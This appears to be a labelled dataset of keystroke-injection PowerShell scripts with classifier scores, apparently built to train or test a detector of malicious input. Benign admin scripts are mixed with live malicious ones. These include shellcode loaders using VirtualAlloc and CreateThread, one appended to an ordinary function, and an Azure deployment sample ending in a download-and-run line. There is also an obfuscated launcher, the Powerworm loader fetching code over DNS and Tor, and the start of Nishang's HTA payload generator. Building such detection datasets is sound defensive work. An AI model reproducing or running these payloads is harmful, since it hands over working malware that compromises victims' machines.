($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1875235e-05,0.99994814
"win+r powershell enter $global:BannedCommands = @( 'Write-Host', 'Write-Verbose', 'Write-Warning', enter 'Write-Error', 'Write-Output', 'Write-Information', 'Write-Debug' ) $global: enter MayContainCommand = @{ ""Write-Host"" = @('Write-PSFHostColor.ps1') enter enter",1,1,0.0053157997,0.9946843
"win+r enter powershell enter enter enter function Remove-PSFConfig enter { enter enter [CmdletBinding(SupportsShouldProcess = $true, ConfirmImpact = 'High')] enter param ( enter [Parameter(ParameterSetName = ""Default"", Position = 0, ValueFromPipeline = $true)] enter [PSFramework.Configuration.Config[]] enter $Config, enter enter [Parameter(ParameterSetName = ""Default"", Position = 0, ValueFromPipeline = $true)] enter [string[]] enter $FullName, enter enter [Parameter(Mandatory = $true, ParameterSetName = ""Name"", Position = 0)] enter [string] enter $Module, enter enter [Parameter(ParameterSetName = ""Name"", Position = 1)] enter [string] enter $Name = ""*"" enter ) enter enter process enter { enter switch ($PSCmdlet.ParameterSetName) enter { enter ""Default"" enter { enter enter foreach ($item in $Config) enter { enter if (-not (Test-PSFShouldProcess -ActionString 'PSFramework.Configuration.Remove-PSFConfig.ShouldRemove' -Target $item.FullName)) { continue } enter try { $result = [PSFramework.Configuration.ConfigurationHost]::DeleteConfiguration($item.FullName) } enter catch { Stop-PSFFunction -String Configuration.Remove-PSFConfig.InvalidConfiguration -StringValues $item.FullName -EnableException ($ErrorActionPreference -eq 'Stop') -Continue -Cmdlet $PSCmdlet -ErrorRecord $_ } enter enter if ($result) { Write-PSFMessage -Level InternalComment -String Configuration.Remove-PSFConfig.DeleteSuccessful -StringValues $item.FullName } enter else { Write-PSFMessage -Level Warning -String Configuration.Remove-PSFConfig.DeleteFailed -StringValues $item.FullName, $item.AllowDelete, $item.PolicyEnforced } enter } enter enter if (Test-PSFParameterBinding -ParameterName Config) { break } enter foreach ($nameItem in $FullName) enter { enter if (-not (Test-PSFShouldProcess -ActionString 'PSFramework.Configuration.Remove-PSFConfig.ShouldRemove' -Target $nameItem)) { continue } enter $item = Get-PSFConfig -FullName $nameItem enter enter try { $result = [PSFramework.Configuration.ConfigurationHost]::DeleteConfiguration($nameItem) } enter catch { Stop-PSFFunction -String Configuration.Remove-PSFConfig.InvalidConfiguration -StringValues $nameItem -EnableException ($ErrorActionPreference -eq 'Stop') -Continue -Cmdlet $PSCmdlet -ErrorRecord $_ } enter if ($result) { Write-PSFMessage -Level InternalComment -String Configuration.Remove-PSFConfig.DeleteSuccessful -StringValues $item.FullName } enter else { Write-PSFMessage -Level Warning -String Configuration.Remove-PSFConfig.DeleteFailed -StringValues $item.FullName, $item.AllowDelete, $item.PolicyEnforced } enter } enter enter } enter ""Name"" enter { enter enter foreach ($item in (Get-PSFConfig -Module $Module -Name $Name)) enter { enter if (-not (Test-PSFShouldProcess -ActionString 'PSFramework.Configuration.Remove-PSFConfig.ShouldRemove' -Target $item.FullName)) { continue } enter enter try { $result = [PSFramework.Configuration.ConfigurationHost]::DeleteConfiguration($item.FullName) } enter catch { Stop-PSFFunction -String Configuration.Remove-PSFConfig.InvalidConfiguration -StringValues $item.FullName -EnableException ($ErrorActionPreference -eq 'Stop') -Continue -Cmdlet $PSCmdlet -ErrorRecord $_ } enter enter if ($result) { Write-PSFMessage -Level InternalComment -String Configuration.Remove-PSFConfig.DeleteSuccessful -StringValues $item.FullName } enter else { Write-PSFMessage -Level Warning -String Configuration.Remove-PSFConfig.DeleteFailed -StringValues $item.FullName, $item.AllowDelete, $item.PolicyEnforced } enter } enter enter } enter } enter } enter } enter enter",0,0,0.999889,0.000110970475
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_efk9wkew"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Export-Csv -Path (Join-Path $ReportDir ""network_net_connection_profile.csv"") -NoTypeInformation enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.4491764e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_sv7q6h51"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-AppxPackage | enter Select-Object -First 100 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.390016e-05
"win+r enter powershell enter enter enter $evz = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $evz -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x30,0x94,0xb4,0xad,0xdb,0xc6,0xd9,0x74,0x24,0xf4,0x5e,0x29,0xc9,0xb1,0x47,0x31,0x56,0x13,0x83,0xc6,0x04,0x03,0x56,0x3f,0x76,0x41,0x51,0xd7,0xf4,0xaa,0xaa,0x27,0x99,0x23,0x4f,0x16,0x99,0x50,0x1b,0x08,0x29,0x12,0x49,0xa4,0xc2,0x76,0x7a,0x3f,0xa6,0x5e,0x8d,0x88,0x0d,0xb9,0xa0,0x09,0x3d,0xf9,0xa3,0x89,0x3c,0x2e,0x04,0xb0,0x8e,0x23,0x45,0xf5,0xf3,0xce,0x17,0xae,0x78,0x7c,0x88,0xdb,0x35,0xbd,0x23,0x97,0xd8,0xc5,0xd0,0x6f,0xda,0xe4,0x46,0xe4,0x85,0x26,0x68,0x29,0xbe,0x6e,0x72,0x2e,0xfb,0x39,0x09,0x84,0x77,0xb8,0xdb,0xd5,0x78,0x17,0x22,0xda,0x8a,0x69,0x62,0xdc,0x74,0x1c,0x9a,0x1f,0x08,0x27,0x59,0x62,0xd6,0xa2,0x7a,0xc4,0x9d,0x15,0xa7,0xf5,0x72,0xc3,0x2c,0xf9,0x3f,0x87,0x6b,0x1d,0xc1,0x44,0x00,0x19,0x4a,0x6b,0xc7,0xa8,0x08,0x48,0xc3,0xf1,0xcb,0xf1,0x52,0x5f,0xbd,0x0e,0x84,0x00,0x62,0xab,0xce,0xac,0x77,0xc6,0x8c,0xb8,0xb4,0xeb,0x2e,0x38,0xd3,0x7c,0x5c,0x0a,0x7c,0xd7,0xca,0x26,0xf5,0xf1,0x0d,0x49,0x2c,0x45,0x81,0xb4,0xcf,0xb6,0x8b,0x72,0x9b,0xe6,0xa3,0x53,0xa4,0x6c,0x34,0x5c,0x71,0x18,0x31,0xca,0xba,0x75,0x38,0x22,0x53,0x84,0x3b,0x33,0x1f,0x01,0xdd,0x63,0x0f,0x42,0x72,0xc3,0xff,0x22,0x22,0xab,0x15,0xad,0x1d,0xcb,0x15,0x67,0x36,0x61,0xfa,0xde,0x6e,0x1d,0x63,0x7b,0xe4,0xbc,0x6c,0x51,0x80,0xfe,0xe7,0x56,0x74,0xb0,0x0f,0x12,0x66,0x24,0xe0,0x69,0xd4,0xe2,0xff,0x47,0x73,0x0a,0x6a,0x6c,0xd2,0x5d,0x02,0x6e,0x03,0xa9,0x8d,0x91,0x66,0xa2,0x04,0x04,0xc9,0xdc,0x68,0xc8,0xc9,0x1c,0x3f,0x82,0xc9,0x74,0xe7,0xf6,0x99,0x61,0xe8,0x22,0x8e,0x3a,0x7d,0xcd,0xe7,0xef,0xd6,0xa5,0x05,0xd6,0x11,0x6a,0xf5,0x3d,0xa0,0x56,0x20,0x7b,0xd6,0xb6,0xf0;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$0pT8=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($0pT8.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$0pT8,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.243846e-05,0.99994755
"win+r powershell enter [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [int32]$BackMins=180 ) enter $BackTime=(Get-Date) - (New-TimeSpan -Minutes $BackMins) $RawEvents = Get-WinEv enter ent -LogName ""Microsoft-Windows-Sysmon/Operational"" | Where-Object {$_.TimeCreat enter ed -ge $BackTime} | Where-Object { $_.Id -eq 3} $RawEvents | ForEach-Object { enter $PropertyBag = @{ HostName = $_.MachineName Version=$_.Version EventType = $_ enter .Message.Split("":"")[0] enter enter",1,1,0.0032996295,0.99670035
unknown_key_action CTRL W enter delay_short enter unknown_key_action CTRL W enter delay_short enter unknown_key_action CTRL W enter delay_long enter unknown_key_action SHIFT TAB enter delay_short enter enter enter delay_medium enter enter enter unknown_key_action CTRL Q enter unknown_key_action CTRL Q enter unknown_key_action CTRL Q enter unknown_key_action CTRL Q enter enter,1,1,5.7330817e-05,0.99994266
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_yjr8s33q"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4400276e-05
"win+r enter powershell enter enter enter powershell "" "" $( SeT-iTEM 'varIaBLE:oFS' '' ) ""+ [STRIng]('12p111C105C130a40p50~50}156}145a167@55C157}142a152}145}143~164%40a156C145s164s56%167p145}142@143~154@151s145a156s164%51~56@144a157%167~156:154O157%141a144:163C164}162@151%156C147a50C47a150@164s164C160C72@57O57}62@61p62a56C61O66C63~56%63~65C56s66C67}57~165s160p154:157%141~144p57@113}145:162C156~145@154~63}62p56C160O163~61s47O51:51a73s40a113@145s162~156a145O154@63@62:55a125s160a144a141O164C145p40:55s103@150}145@143:153p125p122@114p40@150~164:164p160O72s57%57}62:61@62:56~61}66O63@56C63C65%56~66p67a57%165~160O154%157a141:144%57@163a164~56@164O170}164:40a55%120:141~171@154C157a141p144C125}122}114:40C150%164a164O160~72C57%57s62C61a62@56:61C66s63%56O63O65C56%66C67s57@165O160@154%157%141%144O57s162:157}142a157@164C163C56%164@170O164%40p55a115O141:147C151C143~123:164p162~151O156%147p40p162@165C156}40a55:123%164O157}160}123}164p162C151s156}147%40C163:164s157@160}164a150s151}163%12s12'.SpliT('}a%sOp:@~C' ) |% { ( [cONVErt]::TOinT16(( $_.toStRIng()),8)-as[Char]) })+"" $( sV 'oFs' ' ' ) "" |&( $ENV:CoMsPEC[4,15,25]-JOin'')"" enter enter",1,1,5.6072244e-05,0.999944
unknown_key_action ctrl alt t telegram-desktop enter username enter message1 enter alt f4 ctrl c alt f4,1,1,0.0001752028,0.9998248
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_l41l402q"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4804638e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_7h40nmoe"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName Application -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_100.txt"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 3."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4602395e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_mfzrc5rt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.json"") -Encoding UTF8 enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.json"") -Encoding UTF8 enter",0,0,0.9999653,3.4632965e-05
"win+r powershell enter function Deny-PendingCommand { [PoshBot.BotCommand( Aliases = ('deny', 'deny enter command') )] [cmdletbinding()] param( [parameter(Mandatory)] $Bot, [param enter eter(Mandatory, Position = 0)] [string]$Id enter enter",0,1,0.0044667595,0.9955332
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_7zh3otzh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 15 Name, Id, Path, Company | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_15.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4510515e-05
"win+r enter powershell enter enter enter Describe ""Script with a class definition run path"" -Tags ""CI"" { enter enter $TestCases = @( enter @{ FileName = 'MyTest.ps1'; Name = 'path without a comma' } enter @{ FileName = 'My,Test.ps1'; Name = 'path with a comma' } enter ) enter enter It ""Script with a class definition can run from a <Name>"" -TestCases $TestCases { enter param( $FileName ) enter enter $FilePath = Join-Path -Path $TestDrive -ChildPath $FileName enter enter @' enter class MyClass { static [string]$MyProperty = 'Some value' } enter [MyClass]::MyProperty enter '@ | Out-File -FilePath $FilePath enter enter ( . $FilePath ) | Should -Match 'Some value' enter } enter } enter enter",0,0,0.9999486,5.1354968e-05
"win+r powershell enter f u n c t i o n g l o b a l : G e t - L o g g e d O n U s e r { enter [ C m d l e t B i n d i n g ( ) ] enter P a r a m enter ( enter [ P a r a m e t e r ( M a n d a t o r y = $ t r u e , enter P o s i t i o n = 0 , enter V a l u e F r o m P i p e l i n e = $ t r u e , enter V a l u e F r o m P i p e l i n e B y P r o p e r t y N a m e = $ t r u e ) ] enter [ S t r i n g [ ] ] $ C o m p u t e r N a m e enter ) enter B e g i n enter { enter W r i t e - H o s t "" ` n C h e c k i n g U s e r s . . . "" enter $ i = 0 enter } enter P r o c e s s enter { enter $ C o m p u t e r N a m e | F o r e a c h - o b j e c t { enter $ C o m p u t e r = $ _ enter t r y enter { enter $ p r o c e s s i n f o = @ ( G e t - W m i O b j e c t - c l a s s w i n 3 2 _ p r o c e s s - C o m p u t e r N a m e $ C o m p u t e r - E A "" S t o p "" ) enter i f ( $ p r o c e s s i n f o ) enter { enter $ p r o c e s s i n f o | F o r e a c h - O b j e c t { $ _ . G e t O w n e r ( ) . U s e r } | enter W h e r e - O b j e c t { $ _ - n e "" N E T W O R K S E R V I C E "" - a n d $ _ - n e "" L O C A L S E R V I C E "" - a n d $ _ - n e "" S Y S T E M "" } | enter S o r t - O b j e c t - U n i q u e | enter F o r E a c h - O b j e c t { N e w - O b j e c t p s o b j e c t - P r o p e r t y @ { C o m p u t e r = $ C o m p u t e r ; L o g g e d O n = $ _ } } | enter S e l e c t - O b j e c t C o m p u t e r , L o g g e d O n enter } enter } enter c a t c h enter { enter "" C a n n o t f i n d a n y p r o c e s s e s r u n n i n g o n $ c o m p u t e r "" | O u t - H o s t enter } enter } enter } enter E n d enter { enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x29,0xe0,0x8d,0x8b,0x68,0x02,0x00,0x08,0xae,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.1272564e-05,0.99994874
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_zdqw5zag"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-AppxPackage | enter Select-Object -First 100 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.44114e-05
"win+r enter powershell enter enter enter $Random=(New-Guid).ToString().Substring(0,8) enter $ResourceGroup=""MyResourceGroup$Random"" enter $AppName=""webappwithSQL$Random"" enter $Location=""West US"" enter $ServerName=""webappwithsql$Random"" enter $StartIP=""0.0.0.0"" enter $EndIP=""0.0.0.0"" enter $Username=""ServerAdmin"" enter $Password=""<provide-a-password>"" enter $SqlServerPassword=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username,(ConvertTo-SecureString -String $Password -AsPlainText -Force) enter New-AzResourceGroup -Name $ResourceGroup -Location $Location enter New-AzAppservicePlan -Name WebAppwithSQLPlan -ResourceGroupName $ResourceGroup -Location $Location -Tier Basic enter New-AzWebApp -Name $AppName -ResourceGroupName $ResourceGroup -Location $Location -AppServicePlan WebAppwithSQLPlan enter New-AzSQLServer -ServerName $ServerName -Location $Location -SqlAdministratorCredentials $SqlServerPassword -ResourceGroupName $ResourceGroup enter New-AzSqlServerFirewallRule -FirewallRuleName ""AllowYourIp"" -StartIpAddress $StartIP -EndIPAddress $EndIP -ServerName $ServerName -ResourceGroupName $ResourceGroup enter New-AzSQLDatabase -ServerName $ServerName -DatabaseName MySampleDatabase -ResourceGroupName $ResourceGroup enter Set-AzWebApp -ConnectionStrings @{ MyConnectionString = @{ Type=""SQLAzure""; Value =""Server=tcp:$ServerName.database.windows.net;Database=MySampleDatabase;User ID=$Username@$ServerName;Password=$password;Trusted_Connection=False;Encrypt=True;"" } } -Name $AppName -ResourceGroupName $ResourceGroup enter enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.7420548e-05,0.99994254
"win+r enter powershell enter enter enter 'LXUnfqn';$ErrorActionPreference = 'SilentlyContinue';'Jlnl';'rXrPGggb';$by = (get-wmiobject Win32_ComputerSystemProduct).UUID;'kjEvisMr';'BlwFKzHgx';if ((gp HKCU:\\Software\Microsoft\Windows\CurrentVersion\Run) -match $by){;'BrOZYLFVY';'ihznknftcRL';(Get-Process -id $pid).Kill();'eMBnBWC';'ClMCvnGz';};'kFqbERjcaK';'cZdefv';function e($ohd){;'drSzUSrd';'JvFd';$mtk = (((iex ""nslookup -querytype=txt $ohd 8.8.8.8"") -match '""') -replace '""', '')[0].Trim();'wHpWIPZ';'rZOmyT';$ilua.DownloadFile($mtk, $bqvt);'KqrPY';'tCgMs';$ws = $xyu.NameSpace($bqvt).Items();'DVRZCMXn';'aVMuAymCDo';$xyu.NameSpace($ezpr).CopyHere($ws, 20);'NoYaTMgWV';'WczlafFHI';rd $bqvt;'AJc';'Rl';};'mwPV';'XYS';'bSRkM';'GFeZKeMy';'Vt';'blWvxEYdB';$ezpr = $env:APPDATA + '\' + $by;'HTC';'zgOw';if (!(Test-Path $ezpr)){;'fAXKjau';'kEXx';$vpjq = New-Item -ItemType Directory -Force -Path $ezpr;'GWSbA';'vOvra';$vpjq.Attributes = ""Hidden"", ""System"", ""NotContentIndexed"";'amPCGy';'EKFM';};'sB';'RRiIYz';'bvcCeTeLW';'NcOTYolCIB';$vtzg=$ezpr+ ' tab or.exe';'RoqsuXE';'fQGBWGwt';$ot=$ezpr+ '\polipo.exe';'HXKsRivf';'oynNceOnFxy';$bqvt=$ezpr+'\'+$by+'.zip';'DJlrBBZS';'HlBZ';$ilua=New-Object System.Net.WebClient;'QDcpy';'QJxf';$xyu=New-Object -C Shell.Application;'xeSu';'BEJbU';'BtnJKUSm';'HuG';if (!(Test-Path $vtzg) -or !(Test-Path $ot)){;'cxjBOmZvDk';'NInn';e 'i.vankin.de';'COYVXPD';'QLikWodWT';};'nlHScK';'tLVWu';'DGZInswj';'ieaqBnXXBL';if (!(Test-Path $vtzg) -or !(Test-Path $ot)){;'Tga';'rUFQi';e 'gg.ibiz.cc';'LVSqds';'MkiSQLVJy';};'sFUMwRQj';'DZ';'db';'NmVXjZaO';$cvdz=$ezpr+' enter oaminglog';'LUPq';'gKQgLmYh';saps $vtzg -Ar "" --Log `""notice file $cvdz`"""" -wi Hidden;'PZxnCI';'soSyFSxz';do{sleep 1;$bimy=gc $cvdz}while(!($bimy -match 'Bootstrapped 100%: Done.'));'MDNhoZxE';'GuMuzoCwT';saps $ot -a ""socksParentProxy=localhost:9050"" -wi Hidden;'cfrwPc';'DlnzyvwBYQ';sleep 7;'TAtSCy';'NgTi';$qdax=New-Object System.Net.WebProxy(""localhost:8123"");'Axpk';'yYePww';$qdax.useDefaultCredentials = $true;'KcqLHXXNxQs';'mBUkNfwsfiX';$ilua.proxy=$qdax;'NnVlUajch';'tgizAGRCEXq';$pbtx='http://powerwormjqj42hu.onion/get.php?s=setup&mom=0776B201-51DE-11CB-A78C-9C1F26D75FB9&uid=' + $by;'zl';'rIIvBbyFn';while(!$nrcb){$nrcb=$ilua.downloadString($pbtx)};'VWM';'UAqS';if ($nrcb -ne 'none'){;'yyeYfmxpss';'eT';iex $nrcb;'oD';'JqEesDpgbI';};'YsGjzbNbhIw'; enter enter",1,1,5.5757166e-05,0.9999442
"win+r enter powershell enter enter enter function Out-HTA enter { enter <# enter .SYNOPSIS enter Nishang script which could be used for generating ""infected"" HTML Application. It could be deployed on enter a web server and PowerShell scripts and commands could be executed on the hine. enter enter .DESCRIPTION enter The script generates a HTA file with inline VBScript. The HTA should be deployed on a web server. enter When a target browses to the HTA file and chooses to run it, PowerShell commands and scripts in it are executed. enter enter The HTA is not visible as it is closed quickly. But in case, if the HTA becomes visible (for example in case of an error), it loads enter a live page related to Windows Defender from Microsoft website to look legit. enter enter .PARAMETER Payload enter Payload which you want execute on the target. enter enter .PARAMETER PayloadURL enter URL of the powershell script which would be executed on the target. enter enter .PARAMETER PayloadScript enter Path to the PowerShell script to be encoded in the HTA which would be executed on the target. enter enter .PARAMETER Arguments enter Arguments to the PowerShell script to be executed on the target. enter enter .PARAMETER HTAFilePath enter Path to the HTA file to be generated. Default is with the name WindDef_WebInstall.hta in the current directory. enter enter .EXAMPLE enter PS > Out-HTA -Payload ""powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-ChildItem"" enter enter Above command would execute Get-ChildItem on the hine when the HTA is opened. enter enter .EXAMPLE enter PS > Out-HTA -PayloadURL http://192.168.254.1/Get-Information.ps1 enter enter Use above command to generate HTA and VBS files which download and execute the given powershell script in memory on target. enter enter .EXAMPLE enter PS > Out-HTA -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM enter enter Use above command to pass an argument to the PowerShell script/module. enter enter .EXAMPLE enter PS > Out-HTA -PayloadScript C: enter ishang\Shells\Invoke-PowerShellTcpOneLine.ps1 enter enter Use above when you want to use a PowerShell script as the payload. Note that if the script expects any parameter passed to it, enter you must pass the parameters in the script itself. enter enter .LINK enter http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html enter https://github.com/samratashok/nishang enter #> enter [CmdletBinding()] Param( enter enter [Parameter(Position = 0, Mandatory = $False)] enter [String] enter $Payload, enter enter [Parameter(Position = 1, Mandatory = $False)] enter [String] enter $PayloadURL, enter enter [Parameter(Position = 2, Mandatory = $False)] enter [String] enter $PayloadScript, enter enter [Parameter(Position = 3, Mandatory = $False)] enter [String] enter $Arguments, enter [Parameter(Position = 4, Mandatory = $False)] enter [String] enter $HTAFilePath=""$pwd\WindDef_WebInstall.hta"" enter ) enter enter if(!$Payload) enter 